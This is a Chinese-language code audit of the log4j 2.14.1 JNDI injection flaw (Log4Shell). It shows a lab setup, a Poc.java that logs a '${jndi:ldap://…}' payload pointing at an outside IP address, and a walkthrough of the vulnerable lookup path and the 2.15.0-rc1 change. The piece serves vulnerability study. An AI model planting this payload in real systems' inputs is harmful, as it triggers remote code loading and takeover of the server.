log4j代码审计
环境搭建
开一个maven项目,导入依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
创建一个Poc.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Poc {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://47.97.123.81:11452/Exp}");
}
}
这里可以直接打jndi注入。
利用工具https://github.com/whwlsfb/Log4j2Scan
或者
docker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=47.97.123.81 vulfocus/vulfocus
启动vulfocus
代码审计
我们在关键点下断点org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
然后进来之后看这个地方
这里用了循环,来检测${
连号字符,就进入if判断里的东西,这时我们的payload里面是有${
开头的,所以进入了if函数。
接下来主要是workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
这句代码。我们跟进一下进入config.getStrSubstitutor().replace(event, value)
的替换操作
跟进这个substitute
这里while(pos < bufEnd)
做了一个替换操作。
把jndi:ldap://47.97.123.81:11452/Exploit
提取出来放到varName
里
跟进这个this.resolveVariable(event, varName, buf, startPos, pos);
这里直接有lookup函数
之后进入Interpolator
里的lookup函数
继续跟进进入JndiLookup
造成了jndi注入。
2.15.0-rc1
可以看到MessagePatternConverter变成了MessagePatternConverter$SimpleMessagePatternConverter
真正的解析的地方在MessagePatternConverter$LookupMessagePatternConverter
除非手动构造。。才能绕过,其实这个绕过感觉有点鸡肋